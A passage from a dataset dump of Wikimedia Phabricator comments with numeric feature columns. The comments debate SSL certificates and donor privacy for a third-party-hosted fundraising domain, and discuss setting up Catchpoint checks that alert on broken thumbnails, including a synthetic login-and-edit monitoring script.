All of those things aside, in the broader context of both this ticket and the other issues touched on recently with email.donate.wikimedia.org + Silverpop, and perhaps other such issues I might not even be aware of yet: It concerns me that potentially private information about donors is passing through third parties at all.  How well do we trust these third parties in a legal sense to manage the privacy of that data?  What about in an operational security sense?  Those concerns face anyone using a 3rd party service for things like this, but they become even larger considerations when one factors in that we're an abnormal client.  Most of these organizations are built to serve the needs of commercial entities who explicitly want to exploit and share private customer data for marketing purposes, whereas we're a non-profit that values our users' privacy to a higher degree than the industry norm for these 3rd parties' other customers.",,,1438101741,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1.6,0.2,0.0,0.2,0.6,9.8,0.6,0.0,0.0,0.0,1.8,1.8,0.0,0.0,0.4,3.2,0.4,6.2,13.8,0.2,1.0,0.2,0.2,0.0,0.2,0.4,0.0,0.0,0.4,0.0,0.4,5.2,1.2,0.8,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.6,0.6,2.8,0.0,0.2,0.0,0.4,0.0,16.0,0.4,2.4,0.2,0.4,0.0,0.4,0.0,0.0,0.4,0.0,0.2,1.0,0.0,0.6,0.2,0.6,0.0,4.6,1.4,4.8,1.2,2.6,8.0,0.0,0.0,0.0,0.0,2.8,0.0,0.6,0.0,4.8,13.8,1.0,0.4,0.4,0.0,4.8,0.0,1.2,2.2,0.6,1.6,1.0,0.2,0.6,4.401256348569901,0.8073777064955895,"QUOTE
QUOTE

In the broader context, I'm concerned about any further proliferation of this pattern of outsourcing critical sites that live within our production domainnames to 3rd parties.  That should be a pretty exceptional circumstance with a really good justification (I don't think even the few we have now are well-justified).  It raises all kinds of issues with certificates, with cross-domain trust/security issues in browsers (think cookies set on wikimedia.org ...), etc.

Specifically on the certificate front: any solution other than having WMF purchase the cert on our own and hand it to the vendor presents problems with HSTS and HPKP preloading of our domains in browsers.  Even then, there are further operational concerns on two fronts.  The first is that for all kinds of interrelated security reasons we don't want to purchase certs with long lifetimes (we're keeping it down to 1 year at present, but I could even see us trying to go shorter in the future), and thus each 3rd party vendor set up this way also involves a once-per-year additional cost outlay and coordination with them on rotating to a new private key and new cert.  There's also concerns with operational practice mismatches with their TLS implementation on things like browser compatibility and basic minimum security levels.

All of those things aside, in the broader context of both this ticket and the other issues touched on recently with email.donate.wikimedia.org + Silverpop, and perhaps other such issues I might not even be aware of yet: It concerns me that potentially private information about donors is passing through third parties at all.  How well do we trust these third parties in a legal sense to manage the privacy of that data?  What about in an operational security sense?  Those concerns face anyone using a 3rd party service for things like this, but they become even larger considerations when one factors in that we're an abnormal client.  Most of these organizations are built to serve the needs of commercial entities who explicitly want to exploit and share private customer data for marketing purposes, whereas we're a non-profit that values our users' privacy to a higher degree than the industry norm for these 3rd parties' other customers."
498295,SSL cert needed for new fundraising events domain,"Brandon already covered this, but I'll add some clarification.  Right now we have at least three third party sites hosting SSL, all of which do NOT use wildcards: shop.wikimedia.org, blog.wikimedia.org, and wikitech-static.wikimedia.org.

Each of these uses a certificate that is a non-wildcard.  We've never (to my knowledge, and as the guy who orders 99% of the SSL certs, its likely correct) handed any third party a wildcard certificate.  More to the point, we don't even allow wildcard certificates on most of our production systems.  (We've narrowed the scope of wildcards to only exist on a specific sub-set of systems, which also only allow root/ops access.)

That being said, the domains listed: events.wikimedia.org and eventdonations.wikimedia.org are either two standard SSL certificates, or a single certificate with an additional SAN.  A non-wildcard certificate costs 1/6th what a wildcard costs, so even buying two (or one with SAN) versus a wildcard is both cheaper and more secure.  (Am I missing where using a wildcard is suggested for any other reason than 'it already exists'?)",,,1438100210,,PHID-USER-xy6c3ul27f336aaedx2d,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1.6666666666666667,0.0,0.0,0.6666666666666666,0.6666666666666666,7.333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.6666666666666666,0.0,2.6666666666666665,0.0,6.666666666666667,6.666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,5.666666666666667,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,11.666666666666666,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,5.666666666666667,2.3333333333333335,6.333333333333333,0.3333333333333333,3.3333333333333335,9.666666666666666,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,2.0,0.0,3.6666666666666665,6.666666666666667,4.666666666666667,0.3333333333333333,1.0,0.0,3.6666666666666665,0.0,2.3333333333333335,4.0,0.0,1.6666666666666667,1.3333333333333333,0.6666666666666666,0.0,4.152192192192192,0.772132132132132,"Brandon already covered this, but I'll add some clarification.  Right now we have at least three third party sites hosting SSL, all of which do NOT use wildcards: shop.wikimedia.org, blog.wikimedia.org, and wikitech-static.wikimedia.org.

Each of these uses a certificate that is a non-wildcard.  We've never (to my knowledge, and as the guy who orders 99% of the SSL certs, its likely correct) handed any third party a wildcard certificate.  More to the point, we don't even allow wildcard certificates on most of our production systems.  (We've narrowed the scope of wildcards to only exist on a specific sub-set of systems, which also only allow root/ops access.)

That being said, the domains listed: events.wikimedia.org and eventdonations.wikimedia.org are either two standard SSL certificates, or a single certificate with an additional SAN.  A non-wildcard certificate costs 1/6th what a wildcard costs, so even buying two (or one with SAN) versus a wildcard is both cheaper and more secure.  (Am I missing where using a wildcard is suggested for any other reason than 'it already exists'?)"
498279,SSL cert needed for new fundraising events domain,"I apologize about the timeline; we weren't able to request the cert until T104357 was resolved. Originally we thought we were ahead of schedule.

I'll set up a meeting this week. Can I get a sense of what the DNS/TLS issues are that concern you, so I know who I need to include from fundraising?",,,1438099105,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,2.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,2.0,0.0,6.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,6.0,15.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,14.0,12.0,5.0,2.0,0.0,0.0,14.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,3.6666666666666665,0.7878787878787878,"I apologize about the timeline; we weren't able to request the cert until T104357 was resolved. Originally we thought we were ahead of schedule.

I'll set up a meeting this week. Can I get a sense of what the DNS/TLS issues are that concern you, so I know who I need to include from fundraising?"
498275,SSL cert needed for new fundraising events domain,"Operations, probably myself and @RobH at least on the certificate-purchasing front.  I imagine @Mark and @Faidon may have input or want to follow along as well.  Ideally, we should've been involved in this much earlier.  It's not a great feeling to get handed something questionable at the last minute and be told there's no time left to question it.  Can we schedule a meeting about it (and other related issues of broader scope) this week?",,,1438098502,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1.0,1.0,0.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,4.0,1.0,9.0,10.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,6.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,10.0,1.0,1.0,0.0,0.0,8.0,0.0,0.0,2.0,1.0,1.0,2.0,1.0,0.0,4.2555555555555555,0.8,"Operations, probably myself andSCREEN_NAME at least on the certificate-purchasing front.  I imagineSCREEN_NAME andSCREEN_NAME may have input or want to follow along as well.  Ideally, we should've been involved in this much earlier.  It's not a great feeling to get handed something questionable at the last minute and be told there's no time left to question it.  Can we schedule a meeting about it (and other related issues of broader scope) this week?"
498259,SSL cert needed for new fundraising events domain,"@BBlack we're on a time crunch with this project. The first event is scheduled for 10/1, so we need this system to be live within the next 2 weeks. Who should we involve to move this dialogue forward?",,,1438097389,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,5.0,16.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,7.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,7.0,16.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.883720930232558,0.8604651162790697,"SCREEN_NAME we're on a time crunch with this project. The first event is scheduled for 10/1, so we need this system to be live within the next 2 weeks. Who should we involve to move this dialogue forward?"
498251,SSL cert needed for new fundraising events domain,"We're definitely not handing a 3rd party the private key to a WMF wildcard cert.  I don't think we'd authorize someone else to purchase certs in our name either.  At best you're looking at us purchasing certs for these specific hostnames and then handing them over.  All of that said, don't take that as my implicit approval of that as a path forward.  We should really have some internal dialog about FR/donations and DNS/TLS issues before we create more situations to deal with.",,,1438096844,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,2.0,0.5,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.5,3.0,0.0,0.0,0.0,5.5,0.5,6.0,12.0,0.5,1.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.5,0.0,1.0,0.5,0.0,0.0,2.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,2.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,7.0,0.0,1.5,8.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,7.0,12.0,3.5,0.0,0.0,0.0,7.0,0.0,0.0,2.0,1.5,2.5,1.0,0.5,0.0,3.9019607843137254,0.8627450980392157,"We're definitely not handing a 3rd party the private key to a WMF wildcard cert.  I don't think we'd authorize someone else to purchase certs in our name either.  At best you're looking at us purchasing certs for these specific hostnames and then handing them over.  All of that said, don't take that as my implicit approval of that as a path forward.  We should really have some internal dialog about FR/donations and DNS/TLS issues before we create more situations to deal with."
498247,SSL cert needed for new fundraising events domain,"I apologize as I don't know who the question above was directed towards, but I'll add some thoughts from our end. Since there is already a wildcard cert for the site, it would be redundant to purchase another one for the Major Gifts event tool. We will host the site, but the SSL cert is used to identify the site as legitimate and secure regardless of where the site is hosted. However, if Wikimedia prefers we purchase a new cert for this subdomain we are able to do that.  We will need help from the ops team to approve the purchase of the cert; I can post more regarding this as we move forward with the purchase. Are there any specific requirements for the type of cert we should purchase? 

Please let me know if you would like us to proceed with purchasing another cert or if we should work to use the existing cert.
",,,1438096544,,PHID-USER-almbmuy6a3hcls7c2zdl,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1.0,0.0,0.0,1.5,0.5,4.0,1.0,0.0,0.0,1.5,2.0,1.0,0.0,0.0,1.0,7.5,0.5,3.5,13.5,0.0,3.5,1.0,0.5,0.0,0.5,0.5,0.0,0.5,0.5,2.5,0.0,5.0,1.0,0.5,0.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.5,8.0,3.5,7.5,2.5,2.0,12.0,0.0,0.0,0.0,0.0,9.5,0.5,0.0,0.0,8.5,13.5,2.0,0.5,0.0,0.0,8.5,0.0,1.0,1.0,1.0,1.5,0.5,0.0,0.0,3.895348837209302,0.7151162790697674,"I apologize as I don't know who the question above was directed towards, but I'll add some thoughts from our end. Since there is already a wildcard cert for the site, it would be redundant to purchase another one for the Major Gifts event tool. We will host the site, but the SSL cert is used to identify the site as legitimate and secure regardless of where the site is hosted. However, if Wikimedia prefers we purchase a new cert for this subdomain we are able to do that.  We will need help from the ops team to approve the purchase of the cert; I can post more regarding this as we move forward with the purchase. Are there any specific requirements for the type of cert we should purchase? 

Please let me know if you would like us to proceed with purchasing another cert or if we should work to use the existing cert.
"
497607,SSL cert needed for new fundraising events domain,"> donate.wikimedia.org has a wildcard SSL cert, so we could conceivably use that for the events site

But that's hosted by WMF... Shouldn't third-parties only get certs which match the domains they're actually hosting for Wikimedia?",,,1438021585,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,18.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.25,1.0,"QUOTE

But that's hosted by WMF... Shouldn't third-parties only get certs which match the domains they're actually hosting for Wikimedia?"
497606,SSL cert needed for new fundraising events domain,,,,1438021581,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
497604,SSL cert needed for new fundraising events domain,,,,1438021447,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
497603,SSL cert needed for new fundraising events domain,,,,1438021439,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
497602,SSL cert needed for new fundraising events domain,,,,1438021400,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
497577,SSL cert needed for new fundraising events domain,"@EWilfong_WMF is the relevant contact at Trilogy. Eric, if you have more specific questions, can you add them in a comment to this task? ",,,1438019717,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,14.0,7.0,4.0,0.0,0.0,11.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,3.9642857142857144,0.9285714285714286,"SCREEN_NAME is the relevant contact at Trilogy. Eric, if you have more specific questions, can you add them in a comment to this task? "
106937,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"T106895 exposed a large hole in thumbnail monitoring. Even though this page was filled with broken thumbnails, no SMS or IRC spam was sent by any bots. In general, if that happens, it indicates a pretty serious problem with upload or new thumbnails.",High,80.0,1437820281,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,False,PHID-TASK-gqgt56wsdwwz36fqbgum,task_description,open,True,c3,3,True,False,,3,True,2.0,0.0,0.0,4.0,0.0,10.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,10.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.224489795918367,0.8163265306122449,"T106895 exposed a large hole in thumbnail monitoring. Even though this page was filled with broken thumbnails, no SMS or IRC spam was sent by any bots. In general, if that happens, it indicates a pretty serious problem with upload or new thumbnails."
1484434,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"Catchpoint has been decommissioned in the meantime, although for this type of check/alert there's certainly the need for sth like ""Did this page and all of its resources load correctly?""",,,1586878152,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,249,True,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,5.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.243243243243243,0.8648648648648649,"Catchpoint has been decommissioned in the meantime, although for this type of check/alert there's certainly the need for sth like ""Did this page and all of its resources load correctly?"""
906040,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"@fgiunchedi ack, we don't have a ton of checks running w/ concurrency but @15m intervals seems sane.  Let's let it ride for awhile and check up with ongoing points usage.",,,1501698401,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,108,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,9.0,11.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.228571428571429,0.9714285714285714,"SCREEN_NAME ack, we don't have a ton of checks running w/ concurrency butSCREEN_NAME intervals seems sane.  Let's let it ride for awhile and check up with ongoing points usage."
905911,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"Chatted with @chasemp about this today, the easiest way forward seems to be setting up an emulated check with thresholds for failure to load content. https://commons.wikimedia.org/wiki/Special:NewFiles is the easiest target as it is full of recent thumbnails that should just work.

The test lives at https://portal.catchpoint.com/ui/Content/Tests/TestDetail.aspx?id=231161  and I've set to 15 min from NA only for an estimated impact of 2.25% of points, @chasemp does it look good to you?",,,1501689809,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,108,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,4.0,19.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,21.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,4.0,9.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,5.0,19.0,4.0,1.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,1.0,0.0,3.0,0.0,3.9743589743589745,0.8205128205128205,"Chatted withSCREEN_NAME about this today, the easiest way forward seems to be setting up an emulated check with thresholds for failure to load content. URL is the easiest target as it is full of recent thumbnails that should just work.

The test lives at URL  and I've set to 15 min from NA only for an estimated impact of 2.25% of points,SCREEN_NAME does it look good to you?"
899956,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"@fgiunchedi it depends on what we want to watch move.  We already have a number of emulated/chrome checks that could double as thumbnail canaries.  If there is a particular page(s) that would demonstrate this failure early then an additional check(s) makes sense to me.  Right now it's more or less all project homepages.  One good note there is we do run cached and uncached checks.

Cost is such a pita w/ catchpoint.  If we add a new check we could get away with emulated for child content awareness and that's 1 point per check per concurrent source (IIRC).  For May and June we did have an underrun for point usage (meaning our monthly usage is less than projected based on annual projected usage) we could play with here to see how it effects ongoing usage.  I don't have the numbers for last contract renewal / points = cost per point at the moment though.

Check types for reference

{F8832353} 

Then we can alert based on referenced resources failing like

{F8832338}

One big red flag here is it wouldn't differentiate between thumbnails and any other child content.  In theory I imagine we shouldn't have any mass content failure on our pages so...but most of this was alerting at one time and did find a few serious externally visible issues and has since had alerting disabled as too verbose. 

One option for this to use selenium style automation to make a more contextually specific thumbnail test like the one we have that demonstrates a basic login and edit:

```// Step - 1
open(""https://en.wikipedia.org/w/index.php?title=Special:UserLogin"")
setStepName(""Open en.wp.o/Special:UserLogin"")
type(""//*[@id='wpPassword1']"", ""barpass"")
type(""//*[@id='wpName1']"", ""foouser"")

// Step - 2
clickAndWait(""//*[@id='wpLoginAttempt']"")
setStepName(""Login to en.wp.o"")

// Step - 3
open(""https://en.wikipedia.org/w/index.php?title=User:foouser%29/sandbox&action=edit"")
type(""//*[@id='wpTextbox1']"", ""${timeEpoch()} Testid: ${testid} Location: ${locationName} cityName: ${cityName} ispName: ${ispName}"")
setStepName(""Edit user sandbox"")

// Step - 4
clickAndWait(""//*[@id='wpSave']"")
setStepName(""Save user edit"")```

The big downside here is check complexity probably means failure mode complexity for the check itself and /each step/ of the automation is a single point.

thoughts:

1) Make an catchpoint-alerts list and get some of these failures we have the ability to see now sent to those who want it
2) Tweak our emulated and chrome checks for what we think will surface this thumbnail issue (and probably others).  i.e. I think most now are if 10 child elements fail or 10% of child elements fail that's bad.
3) Figure out what web page to watch for emergent thumbnail problems makes sense and add that check.  Then watch the point usage for a bit to see how it will fair.

",,,1500906463,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,107,True,1.0,0.0,0.0,0.0,0.6,6.6,0.6,0.0,0.2,0.6,1.0,0.6,0.0,0.0,0.4,3.8,0.0,5.8,9.8,0.0,1.4,0.2,0.2,0.0,0.6,0.8,0.0,0.2,1.0,0.8,0.2,6.4,4.8,1.4,0.4,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.8,2.0,0.0,0.2,0.0,0.2,0.2,17.4,1.2,0.8,0.2,1.4,0.2,0.0,0.0,0.0,0.4,0.0,0.4,0.6,0.0,1.0,0.0,0.2,0.4,4.0,1.8,5.4,1.2,3.0,7.2,0.0,0.0,0.0,0.0,5.8,0.0,1.6,0.0,5.4,9.8,1.2,0.0,0.0,0.0,5.4,0.0,1.6,2.4,0.4,0.6,0.8,0.4,0.6,3.951526251526252,0.7588766788766789,"SCREEN_NAME it depends on what we want to watch move.  We already have a number of emulated/chrome checks that could double as thumbnail canaries.  If there is a particular page(s) that would demonstrate this failure early then an additional check(s) makes sense to me.  Right now it's more or less all project homepages.  One good note there is we do run cached and uncached checks.

Cost is such a pita w/ catchpoint.  If we add a new check we could get away with emulated for child content awareness and that's 1 point per check per concurrent source (IIRC).  For May and June we did have an underrun for point usage (meaning our monthly usage is less than projected based on annual projected usage) we could play with here to see how it effects ongoing usage.  I don't have the numbers for last contract renewal / points = cost per point at the moment though.

Check types for reference

{F8832353} 

Then we can alert based on referenced resources failing like

{F8832338}

One big red flag here is it wouldn't differentiate between thumbnails and any other child content.  In theory I imagine we shouldn't have any mass content failure on our pages so...but most of this was alerting at one time and did find a few serious externally visible issues and has since had alerting disabled as too verbose. 

One option for this to use selenium style automation to make a more contextually specific thumbnail test like the one we have that demonstrates a basic login and edit:

``CODE``

